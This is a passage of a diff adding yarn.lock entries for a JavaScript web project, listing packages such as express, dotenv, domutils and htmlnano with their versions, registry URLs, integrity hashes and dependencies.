+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.2.tgz#9dbd4daf9f5f753bec3e4c8fbb8a2ecc4de6c39b"
+  integrity sha512-0lk0PHFe/uz0vl527fG9CgdE9WdafjDbCXvBbs+LUv000TVt2Jjhqbs4Jwm8gz070w8xXyEAxrPOMullsxXeGg==
+  dependencies:
+    call-bind "^1.0.8"
+    get-intrinsic "^1.2.5"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+caniuse-lite@^1.0.30001669:
+  version "1.0.30001687"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001687.tgz#d0ac634d043648498eedf7a3932836beba90ebae"
+  integrity sha512-0S/FDhf4ZiqrTUiQ39dKeUjYRjkv7lOZU1Dgif2rIqrTzX/1wV2hfKu9TOm1IHkdSijfLswxTFzl/cvir+SLSQ==
+
+chalk@^4.1.0, chalk@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+chrome-trace-event@^1.0.2, chrome-trace-event@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz#05bffd7ff928465093314708c93bdfa9bd1f0f5b"
+  integrity sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==
+
+cliui@^8.0.1:
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa"
+  integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.1"
+    wrap-ansi "^7.0.0"
+
+clone@^2.1.1:
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/clone/-/clone-2.1.2.tgz#1b7f4b9f591f1e8f83670401600345a02887435f"
+  integrity sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+commander@^12.1.0:
+  version "12.1.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-12.1.0.tgz#01423b36f501259fdaac4d0e4d60c96c991585d3"
+  integrity sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==
+
+concurrently@^7.3.0:
+  version "7.6.0"
+  resolved "https://registry.yarnpkg.com/concurrently/-/concurrently-7.6.0.tgz#531a6f5f30cf616f355a4afb8f8fcb2bba65a49a"
+  integrity sha512-BKtRgvcJGeZ4XttiDiNcFiRlxoAeZOseqUvyYRUp/Vtd+9p1ULmeoSqGsDA+2ivdeDFpqrJvGvmI+StKfKl5hw==
+  dependencies:
+    chalk "^4.1.0"
+    date-fns "^2.29.1"
+    lodash "^4.17.21"
+    rxjs "^7.0.0"
+    shell-quote "^1.7.3"
+    spawn-command "^0.0.2-1"
+    supports-color "^8.1.0"
+    tree-kill "^1.2.2"
+    yargs "^17.3.1"
+
+content-disposition@0.5.4:
+  version "0.5.4"
+  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe"
+  integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==
+  dependencies:
+    safe-buffer "5.2.1"
+
+content-type@~1.0.4, content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.5.tgz#8b773162656d1d1086784c8f23a54ce6d73d7918"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
+cookie-signature@1.0.6:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
+  integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==
+
+cookie@0.7.1:
+  version "0.7.1"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.7.1.tgz#2f73c42142d5d5cf71310a74fc4ae61670e5dbc9"
+  integrity sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==
+
+cosmiconfig@^9.0.0:
+  version "9.0.0"
+  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-9.0.0.tgz#34c3fc58287b915f3ae905ab6dc3de258b55ad9d"
+  integrity sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==
+  dependencies:
+    env-paths "^2.2.1"
+    import-fresh "^3.3.0"
+    js-yaml "^4.1.0"
+    parse-json "^5.2.0"
+
+csstype@^3.0.2:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.1.3.tgz#d80ff294d114fb0e6ac500fbf85b60137d7eff81"
+  integrity sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==
+
+date-fns@^2.29.1:
+  version "2.30.0"
+  resolved "https://registry.yarnpkg.com/date-fns/-/date-fns-2.30.0.tgz#f367e644839ff57894ec6ac480de40cae4b0f4d0"
+  integrity sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==
+  dependencies:
+    "@babel/runtime" "^7.21.0"
+
+debug@2.6.9:
+  version "2.6.9"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
+  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
+  dependencies:
+    ms "2.0.0"
+
+define-data-property@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+  dependencies:
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.0.1"
+
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+destroy@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015"
+  integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==
+
+detect-libc@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-1.0.3.tgz#fa137c4bd698edf55cd5cd02ac559f91a4c4ba9b"
+  integrity sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==
+
+detect-libc@^2.0.1:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.3.tgz#f0cd503b40f9939b894697d19ad50895e30cf700"
+  integrity sha512-bwy0MGW55bG41VqxxypOsdSdGqLwXPI/focwgTYCFMbdUiBAxLg9CFzG08sz2aqzknwiX7Hkl0bQENjg8iLByw==
+
+dom-serializer@^1.0.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.4.1.tgz#de5d41b1aea290215dc45a6dae8adcf1d32e2d30"
+  integrity sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.2.0"
+    entities "^2.0.0"
+
+dom-serializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-2.0.0.tgz#e41b802e1eedf9f6cae183ce5e622d789d7d8e53"
+  integrity sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.2"
+    entities "^4.2.0"
+
+domelementtype@^2.0.1, domelementtype@^2.2.0, domelementtype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
+domhandler@^4.2.0, domhandler@^4.2.2:
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.3.1.tgz#8d792033416f59d68bc03a5aa7b018c1ca89279c"
+  integrity sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==
+  dependencies:
+    domelementtype "^2.2.0"
+
+domhandler@^5.0.2, domhandler@^5.0.3:
+  version "5.0.3"
+  resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-5.0.3.tgz#cc385f7f751f1d1fc650c21374804254538c7d31"
+  integrity sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==
+  dependencies:
+    domelementtype "^2.3.0"
+
+domutils@^2.8.0:
+  version "2.8.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.8.0.tgz#4437def5db6e2d1f5d6ee859bd95ca7d02048135"
+  integrity sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==
+  dependencies:
+    dom-serializer "^1.0.1"
+    domelementtype "^2.2.0"
+    domhandler "^4.2.0"
+
+domutils@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/domutils/-/domutils-3.1.0.tgz#c47f551278d3dc4b0b1ab8cbb42d751a6f0d824e"
+  integrity sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==
+  dependencies:
+    dom-serializer "^2.0.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+
+dotenv-expand@^11.0.6:
+  version "11.0.7"
+  resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-11.0.7.tgz#af695aea007d6fdc84c86cd8d0ad7beb40a0bd08"
+  integrity sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA==
+  dependencies:
+    dotenv "^16.4.5"
+
+dotenv@^16.4.5:
+  version "16.4.7"
+  resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-16.4.7.tgz#0e20c5b82950140aa99be360a8a5f52335f53c26"
+  integrity sha512-47qPchRCykZC03FhkYAhrvwU4xDBFIj1QPqaarj6mdM/hgUzfPHcpkHJOn3mJAufFeeAxAzeGsr5X0M4k6fLZQ==
+
+dunder-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.0.tgz#c2fce098b3c8f8899554905f4377b6d85dabaa80"
+  integrity sha512-9+Sj30DIu+4KvHqMfLUGLFYL2PkURSYMVXJyXe92nFRvlYq5hBjLEhblKB+vkd/WVlUYMWigiY07T91Fkk0+4A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
+ee-first@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
+  integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
+
+electron-to-chromium@^1.5.41:
+  version "1.5.73"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.73.tgz#f32956ce40947fa3c8606726a96cd8fb5bb5f720"
+  integrity sha512-8wGNxG9tAG5KhGd3eeA0o6ixhiNdgr0DcHWm85XPCphwZgD1lIEoi6t3VERayWao7SF7AAZTw6oARGJeVjH8Kg==
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+encodeurl@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
+  integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==
+
+encodeurl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-2.0.0.tgz#7b8ea898077d7e409d3ac45474ea38eaf0857a58"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
+
+entities@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
+  integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
+
+entities@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-3.0.1.tgz#2b887ca62585e96db3903482d336c1006c3001d4"
+  integrity sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==
+
+entities@^4.2.0, entities@^4.5.0:
+  version "4.5.0"
+  resolved "https://registry.yarnpkg.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
+  integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
+
+env-paths@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/env-paths/-/env-paths-2.2.1.tgz#420399d416ce1fbe9bc0a07c62fa68d67fd0f8f2"
+  integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==
+
+error-ex@^1.3.1:
+  version "1.3.2"
+  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
+  dependencies:
+    is-arrayish "^0.2.1"
+
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-object-atoms@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941"
+  integrity sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==
+  dependencies:
+    es-errors "^1.3.0"
+
+escalade@^3.1.1, escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+escape-html@~1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
+  integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
+
+etag@~1.8.1:
+  version "1.8.1"
+  resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
+  integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==
+
+express@^4.18.2:
+  version "4.21.2"
+  resolved "https://registry.yarnpkg.com/express/-/express-4.21.2.tgz#cf250e48362174ead6cea4a566abef0162c1ec32"
+  integrity sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==
+  dependencies:
+    accepts "~1.3.8"
+    array-flatten "1.1.1"
+    body-parser "1.20.3"
+    content-disposition "0.5.4"
+    content-type "~1.0.4"
+    cookie "0.7.1"
+    cookie-signature "1.0.6"
+    debug "2.6.9"
+    depd "2.0.0"
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    etag "~1.8.1"
+    finalhandler "1.3.1"
+    fresh "0.5.2"
+    http-errors "2.0.0"
+    merge-descriptors "1.0.3"
+    methods "~1.1.2"
+    on-finished "2.4.1"
+    parseurl "~1.3.3"
+    path-to-regexp "0.1.12"
+    proxy-addr "~2.0.7"
+    qs "6.13.0"
+    range-parser "~1.2.1"
+    safe-buffer "5.2.1"
+    send "0.19.0"
+    serve-static "1.16.2"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    type-is "~1.6.18"
+    utils-merge "1.0.1"
+    vary "~1.1.2"
+
+fill-range@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292"
+  integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==
+  dependencies:
+    to-regex-range "^5.0.1"
+
+finalhandler@1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.3.1.tgz#0c575f1d1d324ddd1da35ad7ece3df7d19088019"
+  integrity sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==
+  dependencies:
+    debug "2.6.9"
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    on-finished "2.4.1"
+    parseurl "~1.3.3"
+    statuses "2.0.1"
+    unpipe "~1.0.0"
+
+forwarded@0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
+  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
+
+fresh@0.5.2:
+  version "0.5.2"
+  resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
+  integrity sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==
+
+function-bind@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+
+get-caller-file@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
+  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
+
+get-intrinsic@^1.2.4, get-intrinsic@^1.2.5:
+  version "1.2.6"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.6.tgz#43dd3dd0e7b49b82b2dfcad10dc824bf7fc265d5"
+  integrity sha512-qxsEs+9A+u85HhllWJJFicJfPDhRmjzoYdl64aMWW9yRIJmSyxdn8IEkuIM530/7T+lv0TIHd8L6Q/ra0tEoeA==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    dunder-proto "^1.0.0"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    function-bind "^1.1.2"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    math-intrinsics "^1.0.0"
+
+get-port@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/get-port/-/get-port-4.2.0.tgz#e37368b1e863b7629c43c5a323625f95cf24b119"
+  integrity sha512-/b3jarXkH8KJoOMQc3uVGHASwGLPq3gSFJ7tgJm2diza+bydJPTGOibin2steecKeOylE8oY2JERlVWkAJO6yw==
+
+globals@^13.2.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
+htmlnano@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/htmlnano/-/htmlnano-2.1.1.tgz#9ba84e145cd8b7cd4c783d9ab8ff46a80e79b59b"
+  integrity sha512-kAERyg/LuNZYmdqgCdYvugyLWNFAm8MWXpQMz1pLpetmCbFwoMxvkSoaAMlFrOC4OKTWI4KlZGT/RsNxg4ghOw==
+  dependencies:
+    cosmiconfig "^9.0.0"
+    posthtml "^0.16.5"
+    timsort "^0.3.0"
+
+htmlparser2@^7.1.1:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-7.2.0.tgz#8817cdea38bbc324392a90b1990908e81a65f5a5"
+  integrity sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.2.2"
+    domutils "^2.8.0"
+    entities "^3.0.1"
+
+htmlparser2@^9.0.0:
+  version "9.1.0"
